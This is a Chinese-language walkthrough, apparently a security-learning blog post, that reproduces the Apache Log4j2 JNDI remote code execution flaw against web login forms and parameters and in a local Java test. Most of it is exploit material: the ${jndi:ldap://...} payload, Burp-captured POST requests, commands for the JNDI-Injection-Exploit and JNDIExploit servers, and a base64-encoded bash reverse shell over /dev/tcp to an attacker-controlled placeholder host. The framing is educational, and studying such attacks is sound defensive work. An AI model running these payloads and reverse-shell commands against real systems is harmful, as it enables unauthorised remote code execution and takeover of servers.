Apache Log4j2 JNDI RCE
前言
网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。
Log4j漏洞在线登录框复现
环境是:
SpringBoot版本 2.6.1 log4j版本 2.14.1 java8
漏洞url:
http://x.x.x/
首页如下:
payload:
${jndi:ldap://x.x.x/exp}
漏洞利用:
漏洞证明:
Log4j漏洞在线传参复现
名称: Log4j2远程命令执行
描述: Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
漏洞利用:
访问url:
http://x.x.x/
首页如下:
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
漏洞证明:
Log4j漏洞在线执行命令复现
访问url:
http://x.x.x/
首页如下:
使用以下命令开一个jndi服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/abc" -A x.x.x.x
在 /tmp目录下新建abc文件
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
在 /tmp目录下新建abc文件的命令成功执行
Log4j漏洞在线执行命令反弹shell复现(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
访问url:
http://x.x.x/
首页如下:
使用以下命令开一个jndi服务
bash -i >& /dev/tcp/x.x.x/xxx 0>&1
需要编码为
bash -c {echo,xxx{base64,-d}|{bash,-i}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx{base64,-d}|{bash,-i}" -A x.x.x
反弹shell
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
成功反弹回来shell
Log4j漏洞在线执行命令反弹shell复现(JNDIExploit-1.2-SNAPSHOT.jar)
访问url:
http://x.x.x/
首页如下:
使用以下命令开一个jndi服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
bash -i >& /dev/tcp/x.x.x/xxx 0>&1
需要base64编码
+需要两次编码
burp抓包改成POST方式提交数据
POST /xxx HTTP/1.1
Host: xxx
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: xxx
Accept: xxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: xx
payload=${jndi: xxx}
日志回显
成功反弹回来shell
Log4j漏洞本地复现(参照Ysw师傅)
使用以下命令开一个jndi服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x
编写Log4jRCE.jar文件,将使用jndi服务执行开启计算机的命令写入
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://x.x.x.x/Basic/Command/calc}");
}
}
使用idea编译将项目编译为jar之后
使用以下命令触发,或者直接双击打开
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar
漏洞利用
漏洞证明:
2 条评论
可输入 255 字